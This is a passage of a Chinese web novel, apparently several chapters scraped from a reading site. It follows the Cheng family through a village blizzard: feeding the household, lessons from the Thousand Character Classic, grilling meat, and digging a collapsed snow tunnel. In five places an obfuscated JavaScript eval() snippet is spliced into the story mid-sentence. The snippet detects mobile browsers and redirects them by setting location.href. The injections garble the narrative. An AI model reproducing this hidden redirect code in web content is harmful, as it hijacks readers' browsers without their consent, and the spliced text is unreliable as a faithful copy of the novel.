“不过还是有白菜萝卜冻坏了,这两日雪不小,”程父皱着眉头道,“听不劝的村民过了今晚,怕是哭都来不及。” 像是为了印证程老头的话,屋外的风呼啸着拍打着门窗,吓得小盼儿端碗的小手一抖,撒了一半出来,弄湿了衣领前的衣服。 程诺给她擦了擦:“没事,脱下来放炕上烘一烘,马上就干了。” 赵氏又给小盼儿添了半碗汤,道:“要不是爹提醒村长,村长又去通知大伙,今年冬天肯定得冻**,偏好心没好报,有些拎不清的,跑咱家门口骂人,说我们危言耸听,是祸害,是蛀虫,呸!” 程父摆摆手,一脸无所谓:“嘴长在别人身上,我们管不着,我问心无愧,对得起父老乡亲。” 程诺看大伙儿喝了姜汤,也吃完饭,叮嘱十七和程大壮道:“屋顶又积一层雪,土坯的承受能力比不上瓦片,要及时清理,爹老寒腿爬高会打颤,程云还小,以后清理屋顶的活儿就交给你两。” 程大壮咽下最后一口饭:“我马上就去。” 十七抬头看了眼屋顶,程家是传统老式房屋结构,单层有木梁辅助,提升土坯承重能力,比村里其他人家好的地方是,程家在建立房子之初,采用里生外熟,即内土坯外砖的手法,很大程度上保证房屋的安全性。 可即便如此,屋顶依旧挡不住暴雪倾轧。 不仅白日要铲雪,下暴雪时,晚上也得有人清理屋顶,才能保证万无一失。 他将想法跟程大壮一提,立刻得到对方同意。 程大壮:“还是你想的周到,就按你说的办,晚上我俩轮流值夜,你负责前半段,我负责后半夜,一旦发现雪大了,及时清理积雪。” 此时的云溪村,程二顺弹去一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429201|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积雪,在门前跺了两下脚才掀开厚重的帘子进屋。 程母上前给儿子拍了拍后背的残雪,问:“屋顶的雪都铲干净了?” 程二顺点点头,走到灶膛旁挤走程三虎取暖。 “娘,中午吃什么?有肉吗?” 程母掀开锅盖,见汤底翻滚,着手准备切肉片。 程二顺看到砧板上孤零零几块肉,抱怨道:“再加点吧,家里人多,孩子都在长身体呢。” 程母没好气道:“鬼知道雪要下到什么时候,万一真下两三个月,从家里地窖带过来的肉怎么够吃,现在不省点,苦日子在后头。” 话虽这么说,手下的刀还是忍不住又切了大块肉。 武氏从相邻的屋子走进来,凑上前:“这是要做什么?” “大杂烩。” 顾名思义,各种食材放锅里一块煮,出锅一人一碗,配上一两个馒头,再沾点咸菜酱料,简单又管饱。 程家最近三天,吃的都是这道菜。 白菜、萝卜、豆腐、地瓜片,素菜丸子,加上点肉,齐活了。 第一顿是人间美味,第二顿是下饭好菜,第三顿是果腹,第四顿就是煎熬了。 武氏垂丧着脑袋:“天天吃杂烩,娘,换个花样吧,孩子们想吃带油水的炒菜。” 程母抬起眼皮看她:“褥子缝好了?还有孩子们一人一间的羽绒马甲也做好了?” 武氏咳嗽一声,理直气壮道:“我手艺比不上二嫂,她做的马甲孩子们更中意。”言下之意,没有她,顾氏一个人也能搞定。 那日全家商议谁住云溪村砖瓦房,武氏第一个举手,她有两个女儿,珍珠和金玉还小,受不了冻,理所应当住更暖和的地方,她作为母亲自然地跟着。 云溪村的砖瓦房,武氏惦记许久,从前便眼红,现在恨不得住下以后就不搬回去了。 老两口当初真舍得花钱,倒贴给孟南洲一家买地盖房,现在程四娘离了,住到娘家,风水轮流转,也该他们三房享享好日子。 谁知道老二一家也跟着过来了。 第一百二十一章 一家老少学认字 顾氏不会做饭,程二顺也从没提过让媳妇下厨,之前在程家,伙食都是赵氏和程诺准备的,武氏习惯偷懒耍滑,饭点再出现,十几年来没人说过什么。 程母从前睁一只眼闭一只眼,如今分成两波人,武氏再想偷懒是不行了。 昨天磨豆子做豆浆,累得老腰差点断了,今天又被程母耳提面命,要把之前程诺留下的鹅绒塞进夹层里,做成暖和贴身的背心,抵抗寒冬的冷风,半刻不得闲。 武氏心里还在为顾寒栀绣活儿比自己强不舒服,做马甲时,故意将最难最繁琐的步骤留给顾寒栀。 见顾寒栀没有怨言,干脆一股脑全丢给她,自己去地窖溜达一圈。 地窖里塞了不少米面,还有从程家运过来的猪肉和咸货,整整齐齐占据一半地窖。 武氏看着心里还是不满意,转身来了厨房。 “娘,分粮食的时候,是不是给大嫂他们留太多了,咱这儿人多又都是长身体的孩子,理应多分点。” 程母白了她一眼:“你住青砖瓦房,没见你嫌柴房的木炭多。” 武氏一噎,娘的意思是,青砖瓦房抗风,理应多给住土坯的程诺他们多分点木炭,程诺当初买炭时,两个地方各二百五斤,公平得很。 武氏闭上嘴,心里的算盘一直没落下,现在,家里六个孩子,六个大人,十二张嘴,一到饭点,跟饿虎扑食一样,家里粮食消耗速度快得吓人。 “希望春天快点来,要不然菜窖里的东西迟早有不够吃的一天。” 大雪又连着下了三天,积雪一天比一天深。 一开始是小腿肚,村民还能出门走走,再是膝盖,出门成了问题,再到大腿根,别说出门,连开门都成了问题。 程诺走到门口看了看,少说七八十厘米:“这么深,出不了门了。” 雪刚下到小腿时,村里还有兴致勃勃串门的邻里,你看看我家地窖,我看看你家存粮,等到了大腿根,走动相当不方便,只能各自待在各自家里。 按目前的趋势,再下两天就得要腰线,若是有无人机能从上方仰拍一张图,怕是除了白茫茫的雪景,连屋檐都照不出来。 天地之大,半个人影也无。 程诺回到院中,大声喊:“出来准备扫雪啦。” 很快,穿戴整齐的程家人手拿扫帚、铁铲出了屋,连年纪最小的盼儿也没闲着,拿着一把小扫帚,清理廊下的积雪。 赵氏看到小院,一阵惊呼:“怎么又积了这么厚一层,昨天刚把院子打扫干净。” 程大壮:“得亏昨天清理了,不然今天连门都打不开,瞧瞧隔壁杉叔家,门框都被掩了。” 隔壁院白花花一片,压根看不出院中曾经摆着什么东西。 程父道:“给杉叔那屋的屋顶也扫扫,别等他们回来,屋子塌了。” 程大壮哎了一声,直接从两家相邻的墙头翻身过去,动作比以往轻盈多了,脚下雪厚实,不会一脚一深陷,清理完房梁积雪,正准备离开,听到范家屋里传来哭声。 范家不愿收粮,如今大雪封路,想再去田里补救来不及了。 范木匠骂张氏眼皮子浅,不听村长的话,张氏反驳不割麦子是全家的意思,凭什么现在出事了,推到她一个人身上。 公婆在屋里冻得直哆嗦,喊着要加被子,可范家哪里还有多余的被子。 除了玩雪玩到不亦乐乎的石头,全家笼罩在阴云之下。 没屯粮,没准备炭火,连地里的庄稼也烂地里,这个冬天可怎么过。 程大壮只当没听见,翻墙回自己家,十七踩在梯子上,手里拿着锄头,一点点推动积雪,房顶上的一丈厚的雪正簌簌往下掉。 院里需要疏通一条够双人走动的道,直通院门口,雪融化容易打滑,程诺不让程父扫雪,只让他在廊下照顾小盼儿,她跟赵氏两人合作,一人铲雪,一人踩雪。 屋顶清理干净后,程大壮和十七来帮忙,合力将积雪运到院外陡坡下。 赵氏呼出一口气,面前顿时白雾升腾,入目白得晃眼,她四下多看了两眼,顿时觉得头一阵眩晕,眼前阵阵发黑。 “别盯着雪看,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429202|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心眩晕。”程诺扶着赵氏往回走。 赵氏闭上眼,缓了半晌眼前总算能看清,忍不住问:“雪什么时候停啊?你这两天还在做梦吗?” “没有,自从那天后,再也没做过。”程诺摇摇头。 赵氏一脸失望,看不到头的日子最难熬。 程诺安慰道:“不做梦是好事,每回我做噩梦,总得有不好的事情发生,现在至少证明,情况再坏坏不过眼下。” 赵氏点点头:“你说的有道理,我得找根棍子在灶台上记录一下,今天是下雪第五天了吧,过得浑浑噩噩,连日子都快忘了。” “找点事情做,时间就不会难捱了。”程诺提议。 赵氏觉得有道理,外头下大雪,能干什么呢? “要是二房的在,还能让她交孩子认几个字,可惜咱几个目不识丁的,只能干瞪眼。” 赵氏的话点醒了程诺,他们是不识字,但捡来的男人未必也不识字吧。 她记得东房里有与君留下的书,说干就干,程诺直接进了程二顺夫妻俩的房间。 屋里家具不多,除了床榻和一张方桌,剩下的只有两个箱屉子。 顾寒栀对与君的学业抓得紧,她没记错的话,与君和与华开蒙的《千字文》和《百家姓》是她亲手默写下来的。 程诺很快在屋里找到被留下的《千字文》,翻开几页,连蒙带猜认出的字不到一半,前世好歹重点大学毕业,来这里成半文盲了。 原主更是目不识丁,认识的字加在一起,不超过十个,好歹有个秀才相公,近水楼台先得月,当不成女文豪,六年总能学会千字文吧。 程诺抱着《千字文》找到十七时,对方正拿起羽绒马甲朝身上比画。 马甲人手一件,是程诺从商城买的,不同于云溪村那边三个妇人都会针线活,赵氏的手工不佳,程诺干脆不会,只能买现成的。 “合身吗?”求人办事的程诺态度很好。 十七挑挑眉:“不错,挺好的。” 他看了眼对方抱在怀里的书,问道:“找我有事?” 第一百二十二章 你管这叫诗? 程诺将《千字文》递上前。 十七不解地接过面前用纸张折订,浆糊沾边的“书”,随意翻了两页,因上头娟秀的字迹多看了两眼。 程诺话虽然是问句,语气却很笃定:“你认字的吧?” 十七合上书页:“不认识。” 程诺嗤一声,戳穿对方的谎言:“别懵我,不认字你怎么知道书是正是反,盯着上头的字看了半天,我二嫂的字迹不错吧。” 字体娟秀,行云流水,没有十来年的功力练不成,十七不由想起程家这位甚少露面的二房媳妇,人如其字,相貌跟朴素落败的乡村格格不入,年轻时应该读过书,甚至可能是位闺秀。 老话说,落难的凤凰不如鸡,程家是典型的村户人家,儿子能娶到这样的媳妇,只有可能是顾氏家逢突变,已经到了难以维护自身的地步。 十七笑道:“肯定比你写得强。” 程诺一愣,他什么时候见过她写字,瞧不起谁呢? 本着不耻下问的态度,程诺没有怼回去,扯出一抹笑:“大雪封路哪儿都去不了,反正闲着也是闲着,不如你教教小盼儿和程云认字?” 她也跟着巩固巩固。 十七没拒绝,程诺权当他答应了。 程云听说要学认字时,愣了半晌,再听小姑说是十七叔当老师,更惊讶了。 赵氏和程大壮没好到哪里,嘴巴长得能塞下鸡蛋。 程大壮一把拍向男子后背:“看不出来啊,你竟然识字!不对,你不是北面逃荒来的难民吗?” 都混成难民了,可想而知家里多穷。 程大壮脑袋灵光一闪,他想起十七刚来家时,因为对方的长相过于俊秀,加上伤口纵横,他一度怀疑十七曾被迫做过嘎嘎。 今天听说对方认字,顿觉过往猜测太离谱:“你不会失忆前不是难民吧?看看,你长得好看,又会读书写字,至少是小富之家培养出来的……啊,你不会也是个落难书生吧?” 也这个字很灵性,一下子让在座地想起白眼狼孟南洲。 程大壮一拍大腿,越想越觉得有可能。 赵氏没他这么多想法,一听十七能教儿子认字,乐得找不到北。 小盼儿堆雪人堆腻了,见哥哥要读书,她也凑上前:“盼儿也想读书。” 看到送到面前一大一小两萝卜,小的太小不够开蒙,大的太大早过了启蒙年纪,还有站在他身后,目光如炬的女子,满脸写着对知识的渴望。 十七叹了口气,捧起书。 小院中很快传来郎朗跟读声。 “天地玄黄,宇宙洪荒。日月盈仄,成宿列张……” —— 千字文对两个脑袋空空的初学者来说,还是太难了些,三天下来程云只能背诵一小段,认识十来个字,小盼儿却出人意外,能背一页多内容。 虽还搞不清诗文里的意思,也不认识字,却背诵得朗朗上口,新知识只需要重复三四次,便能完整背出来,新脑袋就是好使。 程云学的还不如五六岁稚童,一度抓耳捞腮,认为自己太差劲。 除此之外,两人还学会了自己的名字和大雪的“雪”字。 程诺也已经跟着将一本书过了一遍,虽不是每个字都能写出来,认识不成问题,至于书写,还需要不断练习来巩固。 院中的雪地就是天然的纸张,几人拿着柴火堆里的树枝在上头书写。 程诺捏着树枝,在地上写写停停,时而思考笔下有没有遗漏哪个偏旁,因此写的很慢。 耳边突然传来一阵戏谑的笑声,接着雪地上的字被人读了出来。 “一片一片又一片,两片三片四五片。 六片七片**片,飞入雪中看不见。” 程诺忽视男人脸上嘲笑的神情:“如何?新做的诗?” “你管这叫诗?”十七挑眉,浓艳的眉眼配合唇角的玩味笑意,给他的面容又增添一分俊美。 男人身后是皑皑白雪,程诺莫名觉得他置身其中,美得像是雪景图。 不知是不是雪反光太刺目,程诺一时间晃了眼,视线快速转移,平复下来后,才道:“打油诗也是诗。” 况且,她的这首诗,可是位鼎鼎有名的人做出来的。 程大壮在扫雪,闻言抬起头,赞叹道:“小妹你都会作诗啦,真厉害!可惜女子不能参加科考,不然咱家没准能出个女状元。” 对于兄长的无脑吹捧,程诺早已**以为常:“那是,我但凡能进科场,弄个举人当当,手到擒来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429203|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。” 小盼儿一脸崇拜望着娘亲,欢呼拍手掌:“好厉害,娘亲好厉害。” 紧跟着口中复述着:“一片一片又一片,两片三片四五片。六片七片**片,飞入雪中看不见。” 看妹妹只听了一遍,就将打油诗背出来,程云一脸颓丧:“小姑,我是不是太笨了?” 程诺也没想到女儿的记忆力如此惊人,普通人在天才面前总是相形见绌的,程诺理解程云的失落。 “当然不是,每个人的长处不一样,小盼儿的长处是记忆好,与华的优点是算数强,你的长处是……” 程云眼睛亮闪闪,等着程诺接下来的话。 “你的长处是亲和力强,能说会道。” 小盼儿跟着附和:“是的,二哥老给我讲故事,说得可好了,比看戏还有意思。” 程云发光的眼睛暗沉下去,嘴皮子厉害有什么用。 程诺继续道:“你的性格大大咧咧,对人和善,不管说什么,别人都容易信服,这是你的优点,干嘛用别人的长处跟自己的短处比,不是自寻烦恼吗?” 程云心里还是为没有厉害的优点失落,又听见程诺告诉他,每个人的长处是要不断挖掘的,就像今天之前,没人知道小盼儿记忆力超群,他身上或许还有其他不为人知的优点等着被发现。 赵氏见儿子蔫了吧唧,安慰道:“龙生龙凤生凤,我跟你爹大字不识,你在读书上没天赋也正常,盼儿她爹是个读书人,还考上举人……” 话说一半,察觉到尴尬气氛的赵氏噎住了,冲程诺抱歉道:“我不是有意提他的,呸呸呸,正月里不提晦气的事……” 程诺从来没在意过,目光还是不由自然追随女儿,小姑娘当初在她跟孟南洲之间,利落地选择了跟着她来程家生活,到底孟南洲是她的亲生父亲,血缘关系维系着,想轻易斩断很难。 就像前世的她,被父母压榨给弟弟供血,不止一次想过逃离原生家庭,到头来总是迈不出那一步,最后落得凄惨死去的下场。 盼儿手拿树枝在雪上写写画画,神色并未出现异常,仿佛孟南洲与她早已成为外人。 程诺自愧不如。 又是一晚大雪飘飞,积雪更深了。 第一百二十三章 冬天跟烤肉更配 程诺早起去院外看了,雪已经快淹没到脖子。 “什么都看不到,连范木匠一家都瞅不见人。”程父一脸担忧,“这样下去,村里人会被彻底困住的。” 范家只在大雪刚落下的前两天洒扫过门前的积雪,后来雪越来越大,外头又冷,就没人愿意出门了,此时积雪将屋门死死抵住,窗户上结了一层厚厚的冰花,不知里面情形如何。 范家屋内。 范父范母缩在被窝里,两个老人依偎在一处取暖,早在三天前,范家所有人都挤到一张榻上睡觉。 即便如此,家里本就不多的柴火还是烧得飞快。 张氏冷得直打哆嗦,从被褥里伸出手,又想往炕底下添把柴,被看到的范木匠一把夺走:“别烧了!木柴用完了,接下来的日子全家一起等死吗?” 这些可都是他多年攒下来的好木头,平时打家具都舍不得用,现在成了烧火的废柴,他心疼得在滴血。 范母裹着棉被,依旧觉得屋子里到处漏风:“烧一根吧,你爹年纪大身体又不好,我怕他熬不住。” 像是印证范母的话,范父剧烈咳嗽起来,恨不得把心肝脾肺肾咳出来。 范木匠见状,只能又把柴火添进炕洞,视线不由自主忘了眼床尾零零散散,不到他膝盖的余柴,心底一片冰凉。 早知有今日,就应该听程家人的,多买粮多囤炭火,再把家里的土坯加固下,不至于全家挨饿受冻。 屋顶发出吱呀吱呀的声音,像是有老鼠在啃房梁。 范木匠脸色一变,屋顶的积雪太多,承受不住重量,房屋坍塌他们连家都得毁了。 没办法,他只能从内开的窗户爬出去,刚一接触屋外空气,整个人仿佛被冰冻住,手脚麻麻不听使唤。 范母在屋里大喊:“儿啊,冷,把窗户关上,好不容易聚点热气,全冲没了。” 范木匠关上窗,踩在雪地上,一步一个脚印,雪层太厚,都不需要梯子,拿起长棍踮起脚就能清理屋顶上的积雪。 突然间,鼻腔传来一阵香味。 范木匠往味道传来的方向望去,程家的烟囱正往外飘着炊烟,闻着像是在蒸馒头,好像还有肉的味道。 肉! 范木匠两眼放光。 他多久没沾荤腥,时间长得连自己都忘了。 全家每天只吃一顿,因为烧锅太废柴,直接把红薯丢进炕洞烧,半生不熟拿出来分着啃,混合着没完全烧热的雪水,就这么将就着过了几日。 每天晚上不是被饿醒,就是被冻醒。 清理完屋顶积雪,范木匠又把厨房窗户下的残雪打扫一遍,开窗进屋,又带进来一阵寒风,张氏和儿子往被窝里缩了两分。 今天全家人还没吃一口东西。 范木匠爬上炕,用脚踹了踹张氏:“起来煮点稠粥,肚子饱了身上才能暖和。” 张氏不情不愿离开被窝,离开前给儿子塞了塞被角,笼着破旧袄子穿过两个窗户,厨房里的温度跟身处露天无异。 打开米缸,眼瞅着糙米要见底,只能又去面糠袋子里舀了一勺,干净清水肯定是没有的,拿起木盆从院里取了一盆雪,倒进锅中,开始烧柴。 张氏的鼻子从前天开始堵上了,点燃灶膛的一瞬,感受到温暖,整个身子往前贴,恨不得把双手伸进灶里,鼻腔好似能闻到味道。 是炖肉的香味。 张氏没什么精神的眼睛,骤然一亮,顾不上寒冷,跑到窗边细闻香味飘来的方向,羡慕极了。 程家厨房,锅里炖的萝卜排骨汤到了收尾阶段,案板上红白相间的五花肉和羊肉冻得梆硬,刀切上去,发出“咯吱咯吱”的声音。 程诺在一旁调酱汁,黄豆酱混合辣椒末,再放上一勺白糖和醋。 提前从商城买的铁架子已经放在炭盆上预热,炉火烧旺起来时,屋外又飘起了雪,烟囱上空的白烟与雪混成一团,分不清哪个更浑浊些。 赵氏在一旁用火钳拨弄炭盆,火星子噼啪跳出来,吓得她往后瑟缩一下,险些溅到袄子前襟上。 她后怕地拍拍胸口,手上的火钳被人接过:“嫂子,你去摊玉米饼吧,我来弄烤肉。” 赵氏叮嘱道:“小心火苗撩了眉毛,躲着些。” 见程诺动作熟练,每回都能精准躲开溅出的火星子,才放下心。 玉米饼做起来简单,贴在排骨汤锅延,没半晌微微发出焦香,却远远比不过炭火上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429204|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烤肉带来香味。 一墙之隔正授课的十七,读书的程云和盼儿,心思全跟着香味飘远了。 程云猛咽口水:“还背书吗?” 小盼儿亮闪闪的眼睛望向十七,等着他发话。 十七咳嗽一声,喉管忍不住跟着滚动两下:“今天先到这儿,下午继续。” 声音刚落,两个萝卜飞快跑没了影,去了哪儿,十七心知肚明。 肉片贴在铁篦子上,“滋”地一声卷了边,油珠子滚下来,火苗便“轰”地窜高半尺。 小盼儿刚进厨房,见到此景,“啊”地发出一声兴奋的尖叫起来。 程云上前:“小姑姑,我帮你。”我帮你吃。 刚好有两块没控制好火候,糊了半边的羊肉片,程诺夹起来塞进二人嘴里,满嘴羊肉的香味,配上肉滋滋的口感,二人不约而同发出享受的喟叹。 连日来被大雪围困的烦扰,有了美食的陪伴得到不少纾解。 程诺将剩下的肉埋进院子后面雪地里,除了大小不一的猪肉块外,雪地里还藏着程诺提前备下的羊肉、牛肉。 大盛牛肉是农耕工具,市场上鲜少有的卖,即便有也是退休老牛,肉质不好,雪地里的牛肉是程诺在商城买的,足足半扇,够吃好长一段日子。 地窖里如今只放了需要保鲜的蔬菜,肉全藏在露天冰箱里。 吃饭时,提到牲口棚里的被冻死的几只鸡。 在暴雪来临前,程大壮给牲口棚加了木板,替他们挡住风雪,奈何收效甚微。 程父忧心道:“剩下的几只怕也熬不过去,天太冷鸡不下蛋,要不杀了吧,养着还得费饲料。” 鸡杀了,猪咋办。 杀鸡不费事,烧水蜕**,放雪地里冷藏,随时都能吃。 但杀猪不容易,先不说猪叫声会不会吸引邻里的注意,光杀猪流出的血,就得浸染院里的雪,一时半会消不了,每天打开窗红白一片,怪吓人的,再者院里全是雪,大开大合的场地都没有。 程父道:“那就先把鸡杀了,趁身上还有些肉,省下的饲料先给猪吃,能活几天活几天,真**暂时不杀,埋进雪地里当屯粮。” 大伙儿不约而同点头赞同。 第一百二十四章 挖雪隧道 “困在院里快十来天了,吃喝不愁,没打发时间的玩意儿,总胡思乱想,往年这个时间,我们在干嘛?是不是快到元宵节了?”程大壮靠在炕上剔牙,突然觉得去年春节时很遥远的事。 赵氏每天用炭笔记日子,帮忙回忆起来:“再过两天就是元宵了,往年元宵都要包汤圆的,今年咱家没准备芝麻馅儿,怕是吃不成了。” 程大壮:“我记得小李家去年种了芝麻,存了不少芝麻籽呢,年前我还跟他说好,给我家留点,咱家也试试种芝麻。” 提到小李,程诺不由得想起他快临产的媳妇,冰天雪地想找出去找稳婆是不可能了。 赵氏问:“小李媳妇快生了吧?我记得她是春末那会儿怀上的。” 程大壮掰着手指头,眼皮一跳:“还真是要生了,小李一个人在家,可咋办。” “上回看绿草怀像不好,应该被肚子里孩子折腾受了不少苦,”程诺想起那位瘦弱的小妇人。 此话一出,屋里的气氛顿时凝重起来。 这孩子怀的不是时候,冰天雪地降生,缺衣少食,还没人接生,能不能顺利出生都不知道,万一不幸,孩子大人都…… 不敢想不敢想。 想起来阵阵后怕。 程父叹口气:“要是有办法让大家联系走动起来就好了,哎……” 一道男声在此刻打破寂静:“外头雪大,不太好弄。” 程诺眼睛亮了亮,不太好弄,就是说有办法弄,“你是不是有法子?” “是有一个,不知道能不能成功。” 全家目光投射过来,闪着兴奋的光:“说来听听,快快。” 十七眉眼上挑,吐出三个字:“挖雪隧道。” 顾名思义,就是在现在大雪覆盖的情况下,挖通一条通到各家各户的道出来,先不说工程量太大,光凭他们几个干到雪化了也完不成,就说挖通的道,万一中间路段坍塌,人在里面出不来,不得窒息而死。 程大壮直摆手:“不成不成,太危险了。” 现在屋外的雪高过头顶,人像是要被活埋。 程父却若有所思起来,半晌后朝手心啐了口唾沫:“成不成试一试不就知道了。” 三男人一人拎一把铁锹推开大门,铁锹**雪里,发出“噗”的闷响,像是扎进棉花垛。 起初是笔直朝前挖的。 雪道刚够人弯腰钻进去,洞壁泛着蓝莹莹的光,倒像是走进了巨兽的喉管。 挖到两丈远,铁锹突然地撞上硬物,原来是被雪埋了的卤肉推车,车辕上还挂着向杉叔借的铃铛,铃铛里裹着冰凌,一碰就碎成齑粉。 “我咋觉得洞里温度,比外头还暖和些?”程大壮呼了口气,冒出的白烟没外头多。 程父道:“你一直在动,能不暖和吗?” 估算距离应该到院门口了,程父一铲子下去,却没碰到门框,反倒触碰硬邦邦的墙垣。 “歪了点,往旁边挖挖。” 这下终于碰到门框了,外头也是雪,院门开不了,好在院门高度超过大雪高度,程大壮凿了个洞,顺着爬到院门顶上。 入目是一望无际的雪原,风呼啸着灌入衣领,冷得他一激灵。 各家各户像是给屋舍穿上新絮的棉被,只能依靠烟囱辨别各家位置,屋舍的轮廓被雪衬得格外清晰,黑的是梁,白的是屋顶,灰色的是半塌的土墙。 应该是村里几间废弃的屋舍,房梁受不住积雪压迫,垮了。 整个村子像是一条弓起的背脊,冻得发僵,却仍硬挺着。 大梨村没有人迹,偶尔可见远处几个快速奔跑的影子,应该是村里的野狗在找食。 连日来被困家中,积攒起来的郁结之气,突然想在这一瞬间全部疏散出去。 程大壮双手放在唇边,刚冒出半个头的十七,意识到他想干什么时,想阻止已经来不及。 “哦哎……有人吗?” 洪亮的声音,迅速在空旷四下传播开,声音刚飘荡出去,就听到后头“轰隆”一声,刚挖通的隧道塌了。 更邪门的是,声音在村里回荡开,连不远处的雪坡跟着蠕动起来,像是条被惊扰的白**,猛地朝地面钻去。 幸好在隧道坍塌之前,十七及时将程老头拉了出来,不然他就得被埋在雪地里。 三人废了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429205|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鼻子劲挖通的隧道,在程大壮的一声大喝中,坍塌好几处,彻底不能用了。 程老头瞪了儿子一眼:“老子差点被你害死。” 程大壮一脸懵,弄不懂为什么自己一嗓子会引发一连串反应,他又没有狮吼功。 十七跟他解释:“你可以理解成雪是睡着了,层层叠叠压着,看着老实,实际牙关咬得死紧,你一喊震得他筋骨酥麻,塌了脊梁骨,能把人活埋进肚肠里。” 所以大雪天出行的人,连咳嗽都捂着嘴,说话只凑在耳边絮叨,谁想到程大壮这个愣头脑袋,外表看着老实稳重,内心竟有份童真。 继续挖隧道的方法是行不通,三人只能打道回府,等重新进屋后,掸了掸身上的积雪,赵氏才寻到机会捶丈夫:“刚才是你喊的不?” 程大壮没敢躲,他太激动了,一时忘了小时候村里老人说过的话,关键是他们这儿从来没下过这么大的雪,他一直以为自己用不到这些经验。 程诺给三人倒了热茶,听说是十七救了程老爹,特地在他碗里撒了把桂圆和陈皮,问:“我想了想,隧道虽然挖起来快,但容易塌陷,也不方便寻找方向,不如直接挖出一条路出来,就是不知道麻不麻烦。” 十七接过茶碗,抿了半口,呼出一口冷气:“是个办法,就是雪层高了些,铲起来再抛到路两旁,时间久了胳膊吃不消,需要人多才行。” 程云目光灼灼:“我听说盐可以加速雪融化,不知是不是真的。” 程老头点头:“是真的,但咱家哪有那么多盐,就是有,哪里舍得浪费在融雪上。” 盐在大盛是官府垄断的稀有品,价格贵,百姓省吃俭用尚且不够。 程云的话让程诺陷入沉思,空间里倒是有融雪剂,只是屋外雪太厚了,收效甚微,起不了太大作用。 “不怕,我们先挖到跟咱挨得近的人家,劝说大家一起挖道,人多力量大。”程诺道。 程老头若有所思,离得最近的范家,跟程家关系不好,家里只有范木匠一个壮劳力,程老头本不想挖到他家门口,想想同在一个村,最后还是软了心肠。 第一百二十五章 众人拾柴火焰高 “老大,你去喊范家人一声,问他家愿不愿意一起挖雪路,愿意的话,我们两家先连通,不愿意,我们就往村尾方向挖,村尾家里壮劳力的人家多。” 程大壮哎了一声,出了门直奔墙头,朝范家院里喊道:“范木匠,范木匠。” 早被程大壮先前一嗓子喊醒的范家人,正百无聊奈靠减少挪动,降低身体消耗,突然听到程大壮喊声,猛地以为听错了。 直到范木匠探出头,看到隔了杉叔家小院的墙垣上,横坐着个人影,应和道:“咋了?” 程大壮看到有人支声,先是一喜,等看到范木匠蓬头垢面,胡子拉碴,好像饿了好几顿的难民,双颊比上一次见面陷下去不少,顿时后悔刚才喊出声。 这幅样子风一吹就倒了,能铲雪吗? 范木匠也在打量程大壮,见对方精神奕奕,面色红润,半点没有因为这场暴雪消瘦半分,心里的不满又加了一分。 程大壮咳嗽一声,将意图说明。 “雪不知道下到什么时候,我爹的意思是挖一条道,通道各家门前,大伙儿能联系起来,有啥事也好及时帮忙。” 帮忙? 好事轮不到他们,一干活,开始惦记起他们家了。 同为邻居,范家人忍了几日香味,怎么没见对方送两口给他家尝尝。 程家伙食肯定不错吧,肉菜是藏在地窖里,还是塞进雪地里了? 范木匠摆摆手:“我连饭都吃不饱,哪有力气铲雪。” 程大壮话噎在嘴里,他也没指望范家人能同意,不同意更好,他们拐道去村尾,大不了自家人多辛苦一些。 